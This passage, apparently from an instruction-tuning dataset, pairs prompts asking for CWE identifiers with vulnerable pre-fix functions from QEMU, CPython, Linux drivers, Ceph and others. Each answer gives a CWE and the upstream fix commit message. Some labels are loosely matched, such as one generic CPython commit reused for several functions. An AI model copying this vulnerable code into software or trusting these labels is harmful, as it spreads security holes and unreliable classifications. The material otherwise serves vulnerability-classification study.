(/lib64/libasan.so.4+0xd33c3)\n 1 0xffffa65071cb in g_malloc0 (/lib64/libglib-2.0.so.0+0x571cb)\n 2 0xffffa5e968f7 in deflateInit2_ (/lib64/libz.so.1+0x78f7)\n 3 0xaaaacec58613 in zrle_compress_data ui/vnc-enc-zrle.c:87\n 4 0xaaaacec58613 in zrle_send_framebuffer_update ui/vnc-enc-zrle.c:344\n 5 0xaaaacec34e77 in vnc_send_framebuffer_update ui/vnc.c:919\n 6 0xaaaacec5e023 in vnc_worker_thread_loop ui/vnc-jobs.c:271\n 7 0xaaaacec5e5e7 in vnc_worker_thread ui/vnc-jobs.c:340\n 8 0xaaaacee4d3c3 in qemu_thread_start util/qemu-thread-posix.c:502\n 9 0xffffa544e8bb in start_thread (/lib64/libpthread.so.0+0x78bb)\n 10 0xffffa53965cb in thread_start (/lib64/libc.so.6+0xd55cb)\n\nThis is because the opaque allocated in 'deflateInit2' is not freed in\n'deflateEnd'. The reason is that the 'deflateEnd' calls 'deflateStateCheck'\nand in the latter will check whether 's->strm != strm'(libz's data structure).\nThis check will be true so in 'deflateEnd' it just return 'Z_STREAM_ERROR' and\nnot free the data allocated in 'deflateInit2'.\n\nThe reason this happens is that the 'VncState' contains the whole 'VncZrle',\nso when calling 'deflateInit2', the 's->strm' will be the local address.\nSo 's->strm != strm' will be true.\n\nTo fix this issue, we need to make 'zrle' of 'VncState' to be a pointer.\nThen the connection 'VncState' and local 'VncState' exchange mechanism will\nwork as expection. The 'tight' of 'VncState' has the same issue, let's also turn\nit to a pointer.\n\nReported-by: Ying Fang \nSigned-off-by: Li Qiang \nMessage-id: 20190831153922.121308-1-liq3ea@163.com\nSigned-off-by: Gerd Hoffmann '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int tight_init_stream(VncState *vs, int stream_id,\n int level, int strategy)\n{\n z_streamp zstream = &vs->tight.stream[stream_id];\n\n if (zstream->opaque == NULL) {\n int err;\n\n VNC_DEBUG(\"VNC: TIGHT: initializing zlib stream %d\\n\", stream_id);\n VNC_DEBUG(\"VNC: TIGHT: opaque = %p | vs = %p\\n\", zstream->opaque, vs);\n zstream->zalloc = vnc_zlib_zalloc;\n zstream->zfree = vnc_zlib_zfree;\n\n err = deflateInit2(zstream, level, Z_DEFLATED, MAX_WBITS,\n MAX_MEM_LEVEL, strategy);\n\n if (err != Z_OK) {\n fprintf(stderr, \"VNC: error initializing zlib\\n\");\n return -1;\n }\n\n vs->tight.levels[stream_id] = level;\n zstream->opaque = vs;\n }\n\n if (vs->tight.levels[stream_id] != level) {\n if (deflateParams(zstream, level, strategy) != Z_OK) {\n return -1;\n }\n vs->tight.levels[stream_id] = level;\n }\n return 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-401'], 'message': 'vnc: fix memory leak when vnc disconnect\n\nCurrently when qemu receives a vnc connect, it creates a 'VncState' to\nrepresent this connection. In 'vnc_worker_thread_loop' it creates a\nlocal 'VncState'. The connection 'VcnState' and local 'VncState' exchange\ndata in 'vnc_async_encoding_start' and 'vnc_async_encoding_end'.\nIn 'zrle_compress_data' it calls 'deflateInit2' to allocate the libz library\nopaque data. The 'VncState' used in 'zrle_compress_data' is the local\n'VncState'. In 'vnc_zrle_clear' it calls 'deflateEnd' to free the libz\nlibrary opaque data. The 'VncState' used in 'vnc_zrle_clear' is the connection\n'VncState'. In currently implementation there will be a memory leak when the\nvnc disconnect. Following is the asan output backtrack:\n\nDirect leak of 29760 byte(s) in 5 object(s) allocated from:\n 0 0xffffa67ef3c3 in __interceptor_calloc (/lib64/libasan.so.4+0xd33c3)\n 1 0xffffa65071cb in g_malloc0 (/lib64/libglib-2.0.so.0+0x571cb)\n 2 0xffffa5e968f7 in deflateInit2_ (/lib64/libz.so.1+0x78f7)\n 3 0xaaaacec58613 in zrle_compress_data ui/vnc-enc-zrle.c:87\n 4 0xaaaacec58613 in zrle_send_framebuffer_update ui/vnc-enc-zrle.c:344\n 5 0xaaaacec34e77 in vnc_send_framebuffer_update ui/vnc.c:919\n 6 0xaaaacec5e023 in vnc_worker_thread_loop ui/vnc-jobs.c:271\n 7 0xaaaacec5e5e7 in vnc_worker_thread ui/vnc-jobs.c:340\n 8 0xaaaacee4d3c3 in qemu_thread_start util/qemu-thread-posix.c:502\n 9 0xffffa544e8bb in start_thread (/lib64/libpthread.so.0+0x78bb)\n 10 0xffffa53965cb in thread_start (/lib64/libc.so.6+0xd55cb)\n\nThis is because the opaque allocated in 'deflateInit2' is not freed in\n'deflateEnd'. The reason is that the 'deflateEnd' calls 'deflateStateCheck'\nand in the latter will check whether 's->strm != strm'(libz's data structure).\nThis check will be true so in 'deflateEnd' it just return 'Z_STREAM_ERROR' and\nnot free the data allocated in 'deflateInit2'.\n\nThe reason this happens is that the 'VncState' contains the whole 'VncZrle',\nso when calling 'deflateInit2', the 's->strm' will be the local address.\nSo 's->strm != strm' will be true.\n\nTo fix this issue, we need to make 'zrle' of 'VncState' to be a pointer.\nThen the connection 'VncState' and local 'VncState' exchange mechanism will\nwork as expection. The 'tight' of 'VncState' has the same issue, let's also turn\nit to a pointer.\n\nReported-by: Ying Fang \nSigned-off-by: Li Qiang \nMessage-id: 20190831153922.121308-1-liq3ea@163.com\nSigned-off-by: Gerd Hoffmann '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: ast_for_arg(struct compiling *c, const node *n)\n{\n identifier name;\n expr_ty annotation = NULL;\n node *ch;\n arg_ty ret;\n\n assert(TYPE(n) == tfpdef || TYPE(n) == vfpdef);\n ch = CHILD(n, 0);\n name = NEW_IDENTIFIER(ch);\n if (!name)\n return NULL;\n if (forbidden_name(c, name, ch, 0))\n return NULL;\n\n if (NCH(n) == 3 && TYPE(CHILD(n, 1)) == COLON) {\n annotation = ast_for_expr(c, CHILD(n, 2));\n if (!annotation)\n return NULL;\n }\n\n ret = arg(name, annotation, LINENO(n), n->n_col_offset,\n n->n_end_lineno, n->n_end_col_offset, c->c_arena);\n if (!ret)\n return NULL;\n return ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-125'], 'message': 'bpo-35766: Merge typed_ast back into CPython (GH-11645)'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: builtin_compile_impl(PyObject *module, PyObject *source, PyObject *filename,\n const char *mode, int flags, int dont_inherit,\n int optimize)\n/*[clinic end generated code: output=1fa176e33452bb63 input=0ff726f595eb9fcd]*/\n{\n PyObject *source_copy;\n const char *str;\n int compile_mode = -1;\n int is_ast;\n PyCompilerFlags cf;\n int start[] = {Py_file_input, Py_eval_input, Py_single_input};\n PyObject *result;\n\n cf.cf_flags = flags | PyCF_SOURCE_IS_UTF8;\n\n if (flags &\n ~(PyCF_MASK | PyCF_MASK_OBSOLETE | PyCF_DONT_IMPLY_DEDENT | PyCF_ONLY_AST))\n {\n PyErr_SetString(PyExc_ValueError,\n \"compile(): unrecognised flags\");\n goto error;\n }\n /* XXX Warn if (supplied_flags & PyCF_MASK_OBSOLETE) != 0? */\n\n if (optimize < -1 || optimize > 2) {\n PyErr_SetString(PyExc_ValueError,\n \"compile(): invalid optimize value\");\n goto error;\n }\n\n if (!dont_inherit) {\n PyEval_MergeCompilerFlags(&cf);\n }\n\n if (strcmp(mode, \"exec\") == 0)\n compile_mode = 0;\n else if (strcmp(mode, \"eval\") == 0)\n compile_mode = 1;\n else if (strcmp(mode, \"single\") == 0)\n compile_mode = 2;\n else {\n PyErr_SetString(PyExc_ValueError,\n \"compile() mode must be 'exec', 'eval' or 'single'\");\n goto error;\n }\n\n is_ast = PyAST_Check(source);\n if (is_ast == -1)\n goto error;\n if (is_ast) {\n if (flags & PyCF_ONLY_AST) {\n Py_INCREF(source);\n result = source;\n }\n else {\n PyArena *arena;\n mod_ty mod;\n\n arena = PyArena_New();\n if (arena == NULL)\n goto error;\n mod = PyAST_obj2mod(source, arena, compile_mode);\n if (mod == NULL) {\n PyArena_Free(arena);\n goto error;\n }\n if (!PyAST_Validate(mod)) {\n PyArena_Free(arena);\n goto error;\n }\n result = (PyObject*)PyAST_CompileObject(mod, filename,\n &cf, optimize, arena);\n PyArena_Free(arena);\n }\n goto finally;\n }\n\n str = source_as_string(source, \"compile\", \"string, bytes or AST\", &cf, &source_copy);\n if (str == NULL)\n goto error;\n\n result = Py_CompileStringObject(str, filename, start[compile_mode], &cf, optimize);\n Py_XDECREF(source_copy);\n goto finally;\n\nerror:\n result = NULL;\nfinally:\n Py_DECREF(filename);\n return result;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-125'], 'message': 'bpo-35766: Merge typed_ast back into CPython (GH-11645)'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: ast_for_for_stmt(struct compiling *c, const node *n0, bool is_async)\n{\n const node * const n = is_async ? CHILD(n0, 1) : n0;\n asdl_seq *_target, *seq = NULL, *suite_seq;\n expr_ty expression;\n expr_ty target, first;\n const node *node_target;\n int end_lineno, end_col_offset;\n /* for_stmt: 'for' exprlist 'in' testlist ':' suite ['else' ':' suite] */\n REQ(n, for_stmt);\n\n if (NCH(n) == 9) {\n seq = ast_for_suite(c, CHILD(n, 8));\n if (!seq)\n return NULL;\n }\n\n node_target = CHILD(n, 1);\n _target = ast_for_exprlist(c, node_target, Store);\n if (!_target)\n return NULL;\n /* Check the # of children rather than the length of _target, since\n for x, in ... has 1 element in _target, but still requires a Tuple. */\n first = (expr_ty)asdl_seq_GET(_target, 0);\n if (NCH(node_target) == 1)\n target = first;\n else\n target = Tuple(_target, Store, first->lineno, first->col_offset,\n node_target->n_end_lineno, node_target->n_end_col_offset,\n c->c_arena);\n\n expression = ast_for_testlist(c, CHILD(n, 3));\n if (!expression)\n return NULL;\n suite_seq = ast_for_suite(c, CHILD(n, 5));\n if (!suite_seq)\n return NULL;\n\n if (seq != NULL) {\n get_last_end_pos(seq, &end_lineno, &end_col_offset);\n } else {\n get_last_end_pos(suite_seq, &end_lineno, &end_col_offset);\n }\n if (is_async)\n return AsyncFor(target, expression, suite_seq, seq,\n LINENO(n0), n0->n_col_offset,\n end_lineno, end_col_offset, c->c_arena);\n else\n return For(target, expression, suite_seq, seq,\n LINENO(n), n->n_col_offset,\n end_lineno, end_col_offset, c->c_arena);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-125'], 'message': 'bpo-35766: Merge typed_ast back into CPython (GH-11645)'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: ast_for_import_stmt(struct compiling *c, const node *n)\n{\n /*\n import_stmt: import_name | import_from\n import_name: 'import' dotted_as_names\n import_from: 'from' (('.' | '...')* dotted_name | ('.' | '...')+)\n 'import' ('*' | '(' import_as_names ')' | import_as_names)\n */\n int lineno;\n int col_offset;\n int i;\n asdl_seq *aliases;\n\n REQ(n, import_stmt);\n lineno = LINENO(n);\n col_offset = n->n_col_offset;\n n = CHILD(n, 0);\n if (TYPE(n) == import_name) {\n n = CHILD(n, 1);\n REQ(n, dotted_as_names);\n aliases = _Py_asdl_seq_new((NCH(n) + 1) / 2, c->c_arena);\n if (!aliases)\n return NULL;\n for (i = 0; i < NCH(n); i += 2) {\n alias_ty import_alias = alias_for_import_name(c, CHILD(n, i), 1);\n if (!import_alias)\n return NULL;\n asdl_seq_SET(aliases, i / 2, import_alias);\n }\n // Even though n is modified above, the end position is not changed\n return Import(aliases, lineno, col_offset,\n n->n_end_lineno, n->n_end_col_offset, c->c_arena);\n }\n else if (TYPE(n) == import_from) {\n int n_children;\n int idx, ndots = 0;\n const node *n_copy = n;\n alias_ty mod = NULL;\n identifier modname = NULL;\n\n /* Count the number of dots (for relative imports) and check for the\n optional module name */\n for (idx = 1; idx < NCH(n); idx++) {\n if (TYPE(CHILD(n, idx)) == dotted_name) {\n mod = alias_for_import_name(c, CHILD(n, idx), 0);\n if (!mod)\n return NULL;\n idx++;\n break;\n } else if (TYPE(CHILD(n, idx)) == ELLIPSIS) {\n /* three consecutive dots are tokenized as one ELLIPSIS */\n ndots += 3;\n continue;\n } else if (TYPE(CHILD(n, idx)) != DOT) {\n break;\n }\n ndots++;\n }\n idx++; /* skip over the 'import' keyword */\n switch (TYPE(CHILD(n, idx))) {\n case STAR:\n /* from ... import * */\n n = CHILD(n, idx);\n n_children = 1;\n break;\n case LPAR:\n /* from ... import (x, y, z) */\n n = CHILD(n, idx + 1);\n n_children = NCH(n);\n break;\n case import_as_names:\n /* from ... import x, y, z */\n n = CHILD(n, idx);\n n_children = NCH(n);\n if (n_children % 2 == 0) {\n ast_error(c, n, \"trailing comma not allowed without\"\n \" surrounding parentheses\");\n return NULL;\n }\n break;\n default:\n ast_error(c, n, \"Unexpected node-type in from-import\");\n return NULL;\n }\n\n aliases = _Py_asdl_seq_new((n_children + 1) / 2, c->c_arena);\n if (!aliases)\n return NULL;\n\n /* handle \"from ... import *\" special b/c there's no children */\n if (TYPE(n) == STAR) {\n alias_ty import_alias = alias_for_import_name(c, n, 1);\n if (!import_alias)\n return NULL;\n asdl_seq_SET(aliases, 0, import_alias);\n }\n else {\n for (i = 0; i < NCH(n); i += 2) {\n alias_ty import_alias = alias_for_import_name(c, CHILD(n, i), 1);\n if (!import_alias)\n return NULL;\n asdl_seq_SET(aliases, i / 2, import_alias);\n }\n }\n if (mod != NULL)\n modname = mod->name;\n return ImportFrom(modname, aliases, ndots, lineno, col_offset,\n n_copy->n_end_lineno, n_copy->n_end_col_offset,\n c->c_arena);\n }\n PyErr_Format(PyExc_SystemError,\n \"unknown import statement: starts with command '%s'\",\n STR(CHILD(n, 0)));\n return NULL;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-125'], 'message': 'bpo-35766: Merge typed_ast back into CPython (GH-11645)'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static void set_fdc(int drive)\n{\n\tif (drive >= 0 && drive < N_DRIVE) {\n\t\tfdc = FDC(drive);\n\t\tcurrent_drive = drive;\n\t}\n\tif (fdc != 1 && fdc != 0) {\n\t\tpr_info(\"bad fdc value\\n\");\n\t\treturn;\n\t}\n\tset_dor(fdc, ~0, 8);\n#if N_FDC > 1\n\tset_dor(1 - fdc, ~8, 0);\n#endif\n\tif (FDCS->rawcmd == 2)\n\t\treset_fdc_info(1);\n\tif (fd_inb(FD_STATUS) != STATUS_READY)\n\t\tFDCS->reset = 1;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-125'], 'message': 'floppy: check FDC index for errors before assigning it\n\nJordy Zomer reported a KASAN out-of-bounds read in the floppy driver in\nwait_til_ready().\n\nWhich on the face of it can't happen, since as Willy Tarreau points out,\nthe function does no particular memory access. Except through the FDCS\nmacro, which just indexes a static allocation through teh current fdc,\nwhich is always checked against N_FDC.\n\nExcept the checking happens after we've already assigned the value.\n\nThe floppy driver is a disgrace (a lot of it going back to my original\nhorrd \"design\"), and has no real maintainer. Nobody has the hardware,\nand nobody really cares. But it still gets used in virtual environment\nbecause it's one of those things that everybody supports.\n\nThe whole thing should be re-written, or at least parts of it should be\nseriously cleaned up. The 'current fdc' index, which is used by the\nFDCS macro, and which is often shadowed by a local 'fdc' variable, is a\nprime example of how not to write code.\n\nBut because nobody has the hardware or the motivation, let's just fix up\nthe immediate problem with a nasty band-aid: test the fdc index before\nactually assigning it to the static 'fdc' variable.\n\nReported-by: Jordy Zomer \nCc: Willy Tarreau \nCc: Dan Carpenter \nSigned-off-by: Linus Torvalds '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: void AES128GCM_OnWireTxHandler::reset_tx_handler(\n std::initializer_list update_size_sequence)\n{\n if (nonce == initial_nonce) {\n if (used_initial_nonce) {\n throw ceph::crypto::onwire::TxHandlerError(\"out of nonces\");\n }\n used_initial_nonce = true;\n }\n\n if(1 != EVP_EncryptInit_ex(ectx.get(), nullptr, nullptr, nullptr,\n reinterpret_cast(&nonce))) {\n throw std::runtime_error(\"EVP_EncryptInit_ex failed\");\n }\n\n buffer.reserve(std::accumulate(std::begin(update_size_sequence),\n std::end(update_size_sequence), AESGCM_TAG_LEN));\n\n ++nonce.random_seq;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-323'], 'message': 'msg/async/crypto_onwire: fix endianness of nonce_t\n\nAs a AES-GCM IV, nonce_t is implicitly shared between server and\nclient. Currently, if their endianness doesn't match, they are unable\nto communicate in secure mode because each gets its own idea of what\nthe next nonce should be after the counter is incremented.\n\nSeveral RFCs state that the nonce counter should be BE, but since we\nuse LE for everything on-disk and on-wire, make it LE.\n\nSigned-off-by: Ilya Dryomov \nReviewed-by: Radoslaw Zarzynski \nReviewed-by: Sage Weil '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int RGWGetObj_ObjStore_S3::send_response_data(bufferlist& bl, off_t bl_ofs,\n\t\t\t\t\t off_t bl_len)\n{\n const char *content_type = NULL;\n string content_type_str;\n map response_attrs;\n map::iterator riter;\n bufferlist metadata_bl;\n\n if (sent_header)\n goto send_data;\n\n if (custom_http_ret) {\n set_req_state_err(s, 0);\n dump_errno(s, custom_http_ret);\n } else {\n set_req_state_err(s, (partial_content && !op_ret) ? STATUS_PARTIAL_CONTENT\n : op_ret);\n dump_errno(s);\n }\n\n if (op_ret)\n goto done;\n\n if (range_str)\n dump_range(s, start, end, s->obj_size);\n\n if (s->system_request &&\n s->info.args.exists(RGW_SYS_PARAM_PREFIX \"prepend-metadata\")) {\n\n dump_header(s, \"Rgwx-Object-Size\", (long long)total_len);\n\n if (rgwx_stat) {\n /*\n * in this case, we're not returning the object's content, only the prepended\n * extra metadata\n */\n total_len = 0;\n }\n\n /* JSON encode object metadata */\n JSONFormatter jf;\n jf.open_object_section(\"obj_metadata\");\n encode_json(\"attrs\", attrs, &jf);\n utime_t ut(lastmod);\n encode_json(\"mtime\", ut, &jf);\n jf.close_section();\n stringstream ss;\n jf.flush(ss);\n metadata_bl.append(ss.str());\n dump_header(s, \"Rgwx-Embedded-Metadata-Len\", metadata_bl.length());\n total_len += metadata_bl.length();\n }\n\n if (s->system_request && !real_clock::is_zero(lastmod)) {\n /* we end up dumping mtime in two different methods, a bit redundant */\n dump_epoch_header(s, \"Rgwx-Mtime\", lastmod);\n uint64_t pg_ver = 0;\n int r = decode_attr_bl_single_value(attrs, RGW_ATTR_PG_VER, &pg_ver, (uint64_t)0);\n if (r < 0) {\n ldout(s->cct, 0) << \"ERROR: failed to decode pg ver attr, ignoring\" << dendl;\n }\n dump_header(s, \"Rgwx-Obj-PG-Ver\", pg_ver);\n\n uint32_t source_zone_short_id = 0;\n r = decode_attr_bl_single_value(attrs, RGW_ATTR_SOURCE_ZONE, &source_zone_short_id, (uint32_t)0);\n if (r < 0) {\n ldout(s->cct, 0) << \"ERROR: failed to decode pg ver attr, ignoring\" << dendl;\n }\n if (source_zone_short_id != 0) {\n dump_header(s, \"Rgwx-Source-Zone-Short-Id\", source_zone_short_id);\n }\n }\n\n for (auto &it : crypt_http_responses)\n dump_header(s, it.first, it.second);\n\n dump_content_length(s, total_len);\n dump_last_modified(s, lastmod);\n dump_header_if_nonempty(s, \"x-amz-version-id\", version_id);\n if (attrs.find(RGW_ATTR_APPEND_PART_NUM) != attrs.end()) {\n dump_header(s, \"x-rgw-object-type\", \"Appendable\");\n dump_header(s, \"x-rgw-next-append-position\", s->obj_size);\n } else {\n dump_header(s, \"x-rgw-object-type\", \"Normal\");\n }\n\n if (! op_ret) {\n if (! lo_etag.empty()) {\n /* Handle etag of Swift API's large objects (DLO/SLO). It's entirerly\n * legit to perform GET on them through S3 API. In such situation,\n * a client should receive the composited content with corresponding\n * etag value. */\n dump_etag(s, lo_etag);\n } else {\n auto iter = attrs.find(RGW_ATTR_ETAG);\n if (iter != attrs.end()) {\n dump_etag(s, iter->second.to_str());\n }\n }\n\n for (struct response_attr_param *p = resp_attr_params; p->param; p++) {\n bool exists;\n string val = s->info.args.get(p->param, &exists);\n if (exists) {\n\tif (strcmp(p->param, \"response-content-type\") != 0) {\n\t response_attrs[p->http_attr] = val;\n\t} else {\n\t content_type_str = val;\n\t content_type = content_type_str.c_str();\n\t}\n }\n }\n\n for (auto iter = attrs.begin(); iter != attrs.end(); ++iter) {\n const char *name = iter->first.c_str();\n map::iterator aiter = rgw_to_http_attrs.find(name);\n if (aiter != rgw_to_http_attrs.end()) {\n if (response_attrs.count(aiter->second) == 0) {\n /* Was not already overridden by a response param. */\n\n size_t len = iter->second.length();\n string s(iter->second.c_str(), len);\n while (len && !s[len - 1]) {\n --len;\n s.resize(len);\n }\n response_attrs[aiter->second] = s;\n }\n } else if (iter->first.compare(RGW_ATTR_CONTENT_TYPE) == 0) {\n /* Special handling for content_type. */\n if (!content_type) {\n content_type_str = rgw_bl_str(iter->second);\n content_type = content_type_str.c_str();\n }\n } else if (strcmp(name, RGW_ATTR_SLO_UINDICATOR) == 0) {\n // this attr has an extra length prefix from encode() in prior versions\n dump_header(s, \"X-Object-Meta-Static-Large-Object\", \"True\");\n } else if (strncmp(name, RGW_ATTR_META_PREFIX,\n\t\t\t sizeof(RGW_ATTR_META_PREFIX)-1) == 0) {\n /* User custom metadata. */\n name += sizeof(RGW_ATTR_PREFIX) - 1;\n dump_header(s, name, iter->second);\n } else if (iter->first.compare(RGW_ATTR_TAGS) == 0) {\n RGWObjTags obj_tags;\n try{\n auto it = iter->second.cbegin();\n obj_tags.decode(it);\n } catch (buffer::error &err) {\n ldout(s->cct,0) << \"Error caught buffer::error couldn't decode TagSet \" << dendl;\n }\n dump_header(s, RGW_AMZ_TAG_COUNT, obj_tags.count());\n } else if (iter->first.compare(RGW_ATTR_OBJECT_RETENTION) == 0 && get_retention){\n RGWObjectRetention retention;\n try {\n decode(retention, iter->second);\n dump_header(s, \"x-amz-object-lock-mode\", retention.get_mode());\n dump_time_header(s, \"x-amz-object-lock-retain-until-date\", retention.get_retain_until_date());\n } catch (buffer::error& err) {\n ldpp_dout(this, 0) << \"ERROR: failed to decode RGWObjectRetention\" << dendl;\n }\n } else if (iter->first.compare(RGW_ATTR_OBJECT_LEGAL_HOLD) == 0 && get_legal_hold) {\n RGWObjectLegalHold legal_hold;\n try {\n decode(legal_hold, iter->second);\n dump_header(s, \"x-amz-object-lock-legal-hold\",legal_hold.get_status());\n } catch (buffer::error& err) {\n ldpp_dout(this, 0) << \"ERROR: failed to decode RGWObjectLegalHold\" << dendl;\n }\n }\n }\n }\n\ndone:\n for (riter = response_attrs.begin(); riter != response_attrs.end();\n ++riter) {\n dump_header(s, riter->first, riter->second);\n }\n\n if (op_ret == -ERR_NOT_MODIFIED) {\n end_header(s, this);\n } else {\n if (!content_type)\n content_type = \"binary/octet-stream\";\n\n end_header(s, this, content_type);\n }\n\n if (metadata_bl.length()) {\n dump_body(s, metadata_bl);\n }\n sent_header = true;\n\nsend_data:\n if (get_data && !op_ret) {\n int r = dump_body(s, bl.c_str() + bl_ofs, bl_len);\n if (r < 0)\n return r;\n }\n\n return 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-79'], 'message': 'rgw: reject unauthenticated response-header actions\n\nSigned-off-by: Matt Benjamin \nReviewed-by: Casey Bodley \n(cherry picked from commit d8dd5e513c0c62bbd7d3044d7e2eddcd897bd400)'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: SES_Wait(struct sess *sp, const struct transport *xp)\n{\n\tstruct pool *pp;\n\tstruct waited *wp;\n\n\tCHECK_OBJ_NOTNULL(sp, SESS_MAGIC);\n\tCHECK_OBJ_NOTNULL(xp, TRANSPORT_MAGIC);\n\tpp = sp->pool;\n\tCHECK_OBJ_NOTNULL(pp, POOL_MAGIC);\n\tassert(sp->fd > 0);\n\t/*\n\t * XXX: waiter_epoll prevents us from zeroing the struct because\n\t * XXX: it keeps state across calls.\n\t */\n\tVTCP_nonblocking(sp->fd);\n\n\t/*\n\t * put struct waited on the workspace\n\t */\n\tif (WS_ReserveSize(sp->ws, sizeof(struct waited))\n\t < sizeof(struct waited)) {\n\t\tSES_Delete(sp, SC_OVERLOAD, NAN);\n\t\treturn;\n\t}\n\twp = (void*)sp->ws->f;\n\tINIT_OBJ(wp, WAITED_MAGIC);\n\twp->fd = sp->fd;\n\twp->priv1 = sp;\n\twp->priv2 = (uintptr_t)xp;\n\twp->idle = sp->t_idle;\n\twp->func = ses_handle;\n\twp->tmo = SESS_TMO(sp, timeout_idle);\n\tif (Wait_Enter(pp->waiter, wp))\n\t\tSES_Delete(sp, SC_PIPE_OVERFLOW, NAN);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-617'], 'message': 'Take sizeof pool_task into account when reserving WS in SES_Wait\n\nThe assert on WS_ReserveSize() in ses_handle() can not trip because\nsizeof (struct pool_task) is less than sizeof (struct waited). But to safe\nguard against future problems if that were to change, this patch makes\nsure that the session workspace can hold the largest of them before\nentering the waiter, erroring out if not.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int _free_pwd_session (pwd_session_t *session)\n{\n\tBN_clear_free(session->private_value);\n\tBN_clear_free(session->peer_scalar);\n\tBN_clear_free(session->my_scalar);\n\tBN_clear_free(session->k);\n\tEC_POINT_clear_free(session->my_element);\n\tEC_POINT_clear_free(session->peer_element);\n\tEC_GROUP_free(session->group);\n\tEC_POINT_clear_free(session->pwe);\n\tBN_clear_free(session->order);\n\tBN_clear_free(session->prime);\n\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-662'], 'message': 'EAP-pwd: fix DoS due to multithreaded BN_CTX access\n\nThe EAP-pwd module created one global OpenSSL BN_CTX instance, and\nused this instance in all incoming requests. This means that different\nthreads used the same BN_CTX instance, which can result in a crash.\nAn adversary can trigger these crashes by concurrently initiating\nmultiple EAP-pwd handshakes from different clients.\n\nFix this bug by creating a separate BN_CTX instance for each request.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static ssize_t mon_text_read_t(struct file *file, char __user *buf,\n\t\t\t\tsize_t nbytes, loff_t *ppos)\n{\n\tstruct mon_reader_text *rp = file->private_data;\n\tstruct mon_event_text *ep;\n\tstruct mon_text_ptr ptr;\n\n\tep = mon_text_read_wait(rp, file);\n\tif (IS_ERR(ep))\n\t\treturn PTR_ERR(ep);\n\tmutex_lock(&rp->printf_lock);\n\tptr.cnt = 0;\n\tptr.pbuf = rp->printf_buf;\n\tptr.limit = rp->printf_size;\n\n\tmon_text_read_head_t(rp, &ptr, ep);\n\tmon_text_read_statset(rp, &ptr, ep);\n\tptr.cnt += snprintf(ptr.pbuf + ptr.cnt, ptr.limit - ptr.cnt,\n\t \" %d\", ep->length);\n\tmon_text_read_data(rp, &ptr, ep);\n\n\tif (copy_to_user(buf, rp->printf_buf, ptr.cnt))\n\t\tptr.cnt = -EFAULT;\n\tmutex_unlock(&rp->printf_lock);\n\tkmem_cache_free(rp->e_slab, ep);\n\treturn ptr.cnt;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-787'], 'message': 'usb: usbmon: Read text within supplied buffer size\n\nThis change fixes buffer overflows and silent data corruption with the\nusbmon device driver text file read operations.\n\nSigned-off-by: Fredrik Noring \nSigned-off-by: Pete Zaitcev \nCc: stable \nSigned-off-by: Greg Kroah-Hartman '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static void tulip_copy_tx_buffers(TULIPState *s, struct tulip_descriptor *desc)\n{\n int len1 = (desc->control >> TDES1_BUF1_SIZE_SHIFT) & TDES1_BUF1_SIZE_MASK;\n int len2 = (desc->control >> TDES1_BUF2_SIZE_SHIFT) & TDES1_BUF2_SIZE_MASK;\n\n if 